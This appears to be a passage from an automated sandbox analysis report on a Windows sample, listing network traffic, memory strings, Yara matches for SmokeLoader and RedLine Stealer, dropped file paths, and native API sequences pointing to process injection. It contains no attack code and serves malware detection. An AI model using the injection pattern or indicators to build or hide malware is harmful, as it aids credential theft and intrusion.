Source: explorer.exe, 00000002.00000000.2121740943.000000000C861000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.2121740943.000000000C81C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: explorer.exe, 00000002.00000000.2121214816.000000000C549000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppcrobat.exe
Source: explorer.exe, 00000002.00000000.2117666934.00000000076F8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://android.notify.windows.com/iOS
Source: explorer.exe, 00000002.00000000.2119469337.0000000009ADB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/
Source: explorer.exe, 00000002.00000000.2117666934.0000000007637000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/News/Feed/Windows?apikey=qrUeHGGYvVowZJuHA3XaH0uUvg1ZJ0GUZnXk3mxxPF&ocid=wind
Source: explorer.exe, 00000002.00000000.2116701532.00000000035FA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.coml
Source: explorer.exe, 00000002.00000000.2119469337.0000000009B41000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://excel.office.com
Source: explorer.exe, 00000002.00000000.2119469337.0000000009B41000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://outlook.com
Source: explorer.exe, 00000002.00000000.2121214816.000000000C460000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://powerpoint.office.comcember
Source: explorer.exe, 00000002.00000000.2119469337.00000000099C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://wns.windows.com/)s
Source: explorer.exe, 00000002.00000000.2119469337.00000000099C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://word.office.comon

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50030 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50029 -> 443

Source: unknown	HTTPS traffic detected: 23.145.40.164:443 -> 192.168.2.5:49932 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.40.141.211:443 -> 192.168.2.5:50012 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.40.141.211:443 -> 192.168.2.5:50013 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.40.141.211:443 -> 192.168.2.5:50017 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.40.141.211:443 -> 192.168.2.5:50018 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.40.141.211:443 -> 192.168.2.5:50020 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.40.141.211:443 -> 192.168.2.5:50021 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.40.141.211:443 -> 192.168.2.5:50023 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.40.141.211:443 -> 192.168.2.5:50024 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.40.141.211:443 -> 192.168.2.5:50026 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.40.141.211:443 -> 192.168.2.5:50027 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.40.141.211:443 -> 192.168.2.5:50029 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.40.141.211:443 -> 192.168.2.5:50030 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected SmokeLoader

Source: Yara match	File source: 9.2.jtihrdr.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.3.jtihrdr.530000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.B9A0.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.3.B9A0.exe.20c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.B9A0.exe.1fa0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.jtihrdr.520e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.2780852032.00000000020C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2830678754.0000000000530000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2645309546.00000000020E1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2369070542.0000000000610000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2132079925.00000000004F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2369106614.0000000000631000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2780906751.00000000020E1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2882405099.0000000000530000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2882830547.00000000020D1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2132356094.0000000000561000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2645253603.00000000020C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.2593902376.00000000020C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000008.00000002.2780852032.00000000020C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000000.00000002.2133342006.000000000059E000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000004.00000002.2369233302.000000000068D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000007.00000002.2645309546.00000000020E1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000007.00000002.2645014782.0000000001FA0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000004.00000002.2369070542.0000000000610000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000009.00000002.2882578584.000000000057D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000008.00000002.2780779918.000000000072F000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.2132079925.00000000004F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000004.00000002.2369106614.0000000000631000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000008.00000002.2780906751.00000000020E1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000009.00000002.2882405099.0000000000530000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000009.00000002.2882830547.00000000020D1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000009.00000002.2882377555.0000000000520000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000008.00000002.2780540702.0000000000700000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000000.00000002.2132356094.0000000000561000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000000.00000002.2132022634.00000000004E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000004.00000002.2369051681.0000000000600000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000007.00000002.2645253603.00000000020C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000007.00000002.2644866394.000000000058D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown

Source: C:\Windows\explorer.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\BzLGqYKy7o.exe	Code function: 0_2_00401514 LocalAlloc,NtDuplicateObject,NtCreateSection,NtMapViewOfSection,VirtualProtect,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401514
Source: C:\Users\user\Desktop\BzLGqYKy7o.exe	Code function: 0_2_00402F97 RtlCreateUserThread,NtTerminateProcess,	0_2_00402F97
Source: C:\Users\user\Desktop\BzLGqYKy7o.exe	Code function: 0_2_00401542 LocalAlloc,NtDuplicateObject,NtCreateSection,NtMapViewOfSection,VirtualProtect,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401542
Source: C:\Users\user\Desktop\BzLGqYKy7o.exe	Code function: 0_2_00403247 NtTerminateProcess,GetModuleHandleA,	0_2_00403247
Source: C:\Users\user\Desktop\BzLGqYKy7o.exe	Code function: 0_2_00401549 LocalAlloc,NtDuplicateObject,NtCreateSection,NtMapViewOfSection,VirtualProtect,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401549
Source: C:\Users\user\Desktop\BzLGqYKy7o.exe	Code function: 0_2_0040324F NtTerminateProcess,GetModuleHandleA,	0_2_0040324F
Source: C:\Users\user\Desktop\BzLGqYKy7o.exe	Code function: 0_2_00403256 NtTerminateProcess,GetModuleHandleA,	0_2_00403256
Source: C:\Users\user\Desktop\BzLGqYKy7o.exe	Code function: 0_2_00401557 LocalAlloc,NtDuplicateObject,NtCreateSection,NtMapViewOfSection,VirtualProtect,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401557
Source: C:\Users\user\Desktop\BzLGqYKy7o.exe	Code function: 0_2_0040326C NtTerminateProcess,GetModuleHandleA,	0_2_0040326C
Source: C:\Users\user\Desktop\BzLGqYKy7o.exe	Code function: 0_2_00403277 NtTerminateProcess,GetModuleHandleA,NtEnumerateKey,	0_2_00403277
Source: C:\Users\user\Desktop\BzLGqYKy7o.exe	Code function: 0_2_004014FE LocalAlloc,NtDuplicateObject,NtCreateSection,NtMapViewOfSection,VirtualProtect,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_004014FE
Source: C:\Users\user\Desktop\BzLGqYKy7o.exe	Code function: 0_2_00403290 NtTerminateProcess,GetModuleHandleA,	0_2_00403290
Source: C:\Users\user\AppData\Roaming\teihrdr	Code function: 4_2_00401514 LocalAlloc,NtDuplicateObject,NtCreateSection,NtMapViewOfSection,VirtualProtect,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	4_2_00401514
Source: C:\Users\user\AppData\Roaming\teihrdr	Code function: 4_2_00402F97 RtlCreateUserThread,NtTerminateProcess,	4_2_00402F97
Source: C:\Users\user\AppData\Roaming\teihrdr	Code function: 4_2_00401542 LocalAlloc,NtDuplicateObject,NtCreateSection,NtMapViewOfSection,VirtualProtect,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	4_2_00401542
Source: C:\Users\user\AppData\Roaming\teihrdr	Code function: 4_2_00403247 NtTerminateProcess,GetModuleHandleA,	4_2_00403247
Source: C:\Users\user\AppData\Roaming\teihrdr	Code function: 4_2_00401549 LocalAlloc,NtDuplicateObject,NtCreateSection,NtMapViewOfSection,VirtualProtect,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	4_2_00401549
Source: C:\Users\user\AppData\Roaming\teihrdr	Code function: 4_2_0040324F NtTerminateProcess,GetModuleHandleA,	4_2_0040324F
Source: C:\Users\user\AppData\Roaming\teihrdr	Code function: 4_2_00403256 NtTerminateProcess,GetModuleHandleA,	4_2_00403256
Source: C:\Users\user\AppData\Roaming\teihrdr	Code function: 4_2_00401557 LocalAlloc,NtDuplicateObject,NtCreateSection,NtMapViewOfSection,VirtualProtect,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	4_2_00401557
Source: C:\Users\user\AppData\Roaming\teihrdr	Code function: 4_2_0040326C NtTerminateProcess,GetModuleHandleA,	4_2_0040326C
Source: C:\Users\user\AppData\Roaming\teihrdr	Code function: 4_2_00403277 NtTerminateProcess,GetModuleHandleA,NtMapViewOfSection,NtDuplicateObject,NtQuerySystemInformation,NtOpenKey,strstr,tolower,towlower,	4_2_00403277
Source: C:\Users\user\AppData\Roaming\teihrdr	Code function: 4_2_004014FE LocalAlloc,NtDuplicateObject,NtCreateSection,NtMapViewOfSection,VirtualProtect,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	4_2_004014FE
Source: C:\Users\user\AppData\Roaming\teihrdr	Code function: 4_2_00403290 NtTerminateProcess,GetModuleHandleA,	4_2_00403290
Source: C:\Users\user\AppData\Local\Temp\B9A0.exe	Code function: 7_2_00403043 RtlCreateUserThread,NtTerminateProcess,	7_2_00403043
Source: C:\Users\user\AppData\Local\Temp\B9A0.exe	Code function: 7_2_004014C4 NtAllocateVirtualMemory,NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	7_2_004014C4
Source: C:\Users\user\AppData\Local\Temp\B9A0.exe	Code function: 7_2_00401508 NtAllocateVirtualMemory,	7_2_00401508
Source: C:\Users\user\AppData\Local\Temp\B9A0.exe	Code function: 7_2_004014CF NtAllocateVirtualMemory,	7_2_004014CF
Source: C:\Users\user\AppData\Local\Temp\B9A0.exe	Code function: 7_2_004015D5 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	7_2_004015D5
Source: C:\Users\user\AppData\Local\Temp\B9A0.exe	Code function: 7_2_004014DE NtAllocateVirtualMemory,	7_2_004014DE
Source: C:\Users\user\AppData\Local\Temp\B9A0.exe	Code function: 7_2_004015DF NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	7_2_004015DF
Source: C:\Users\user\AppData\Local\Temp\B9A0.exe	Code function: 7_2_004015E6 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	7_2_004015E6
Source: C:\Users\user\AppData\Local\Temp\B9A0.exe	Code function: 7_2_004015F2 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	7_2_004015F2
Source: C:\Users\user\AppData\Local\Temp\B9A0.exe	Code function: 7_2_004014F5 NtAllocateVirtualMemory,	7_2_004014F5
Source: C:\Users\user\AppData\Local\Temp\B9A0.exe	Code function: 7_2_004014F8 NtAllocateVirtualMemory,	7_2_004014F8
Source: C:\Users\user\AppData\Local\Temp\B9A0.exe	Code function: 7_2_004014FB NtAllocateVirtualMemory,	7_2_004014FB
Source: C:\Users\user\AppData\Roaming\teihrdr	Code function: 8_2_00401514 LocalAlloc,NtDuplicateObject,NtCreateSection,NtMapViewOfSection,VirtualProtect,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	8_2_00401514
Source: C:\Users\user\AppData\Roaming\teihrdr	Code function: 8_2_00402F97 RtlCreateUserThread,NtTerminateProcess,	8_2_00402F97
Source: C:\Users\user\AppData\Roaming\teihrdr	Code function: 8_2_00401542 LocalAlloc,NtDuplicateObject,NtCreateSection,NtMapViewOfSection,VirtualProtect,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	8_2_00401542
Source: C:\Users\user\AppData\Roaming\teihrdr	Code function: 8_2_00403247 NtTerminateProcess,GetModuleHandleA,	8_2_00403247
Source: C:\Users\user\AppData\Roaming\teihrdr	Code function: 8_2_00401549 LocalAlloc,NtDuplicateObject,NtCreateSection,NtMapViewOfSection,VirtualProtect,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	8_2_00401549
Source: C:\Users\user\AppData\Roaming\teihrdr	Code function: 8_2_0040324F NtTerminateProcess,GetModuleHandleA,	8_2_0040324F
Source: C:\Users\user\AppData\Roaming\teihrdr	Code function: 8_2_00403256 NtTerminateProcess,GetModuleHandleA,	8_2_00403256
Source: C:\Users\user\AppData\Roaming\teihrdr	Code function: 8_2_00401557 LocalAlloc,NtDuplicateObject,NtCreateSection,NtMapViewOfSection,VirtualProtect,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	8_2_00401557
Source: C:\Users\user\AppData\Roaming\teihrdr	Code function: 8_2_0040326C NtTerminateProcess,GetModuleHandleA,	8_2_0040326C
Source: C:\Users\user\AppData\Roaming\teihrdr	Code function: 8_2_00403277 NtTerminateProcess,GetModuleHandleA,NtMapViewOfSection,NtDuplicateObject,NtQuerySystemInformation,NtOpenKey,strstr,tolower,towlower,	8_2_00403277
Source: C:\Users\user\AppData\Roaming\teihrdr	Code function: 8_2_004014FE LocalAlloc,NtDuplicateObject,NtCreateSection,NtMapViewOfSection,VirtualProtect,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	8_2_004014FE
Source: C:\Users\user\AppData\Roaming\teihrdr	Code function: 8_2_00403290 NtTerminateProcess,GetModuleHandleA,	8_2_00403290
Source: C:\Users\user\AppData\Roaming\jtihrdr	Code function: 9_2_00403043 RtlCreateUserThread,NtTerminateProcess,	9_2_00403043
Source: C:\Users\user\AppData\Roaming\jtihrdr	Code function: 9_2_004014C4 NtAllocateVirtualMemory,NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	9_2_004014C4
Source: C:\Users\user\AppData\Roaming\jtihrdr	Code function: 9_2_00401508 NtAllocateVirtualMemory,	9_2_00401508
Source: C:\Users\user\AppData\Roaming\jtihrdr	Code function: 9_2_004014CF NtAllocateVirtualMemory,	9_2_004014CF
Source: C:\Users\user\AppData\Roaming\jtihrdr	Code function: 9_2_004015D5 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	9_2_004015D5
Source: C:\Users\user\AppData\Roaming\jtihrdr	Code function: 9_2_004014DE NtAllocateVirtualMemory,	9_2_004014DE
Source: C:\Users\user\AppData\Roaming\jtihrdr	Code function: 9_2_004015DF NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	9_2_004015DF
Source: C:\Users\user\AppData\Roaming\jtihrdr	Code function: 9_2_004015E6 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	9_2_004015E6
Source: C:\Users\user\AppData\Roaming\jtihrdr	Code function: 9_2_004015F2 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	9_2_004015F2
Source: C:\Users\user\AppData\Roaming\jtihrdr	Code function: 9_2_004014F5 NtAllocateVirtualMemory,	9_2_004014F5
Source: C:\Users\user\AppData\Roaming\jtihrdr	Code function: 9_2_004014F8 NtAllocateVirtualMemory,	9_2_004014F8
Source: C:\Users\user\AppData\Roaming\jtihrdr	Code function: 9_2_004014FB NtAllocateVirtualMemory,	9_2_004014FB

Source: BzLGqYKy7o.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000008.00000002.2780852032.00000000020C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000000.00000002.2133342006.000000000059E000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000004.00000002.2369233302.000000000068D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000007.00000002.2645309546.00000000020E1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000007.00000002.2645014782.0000000001FA0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000004.00000002.2369070542.0000000000610000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000009.00000002.2882578584.000000000057D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000008.00000002.2780779918.000000000072F000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.2132079925.00000000004F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000004.00000002.2369106614.0000000000631000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000008.00000002.2780906751.00000000020E1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000009.00000002.2882405099.0000000000530000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000009.00000002.2882830547.00000000020D1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
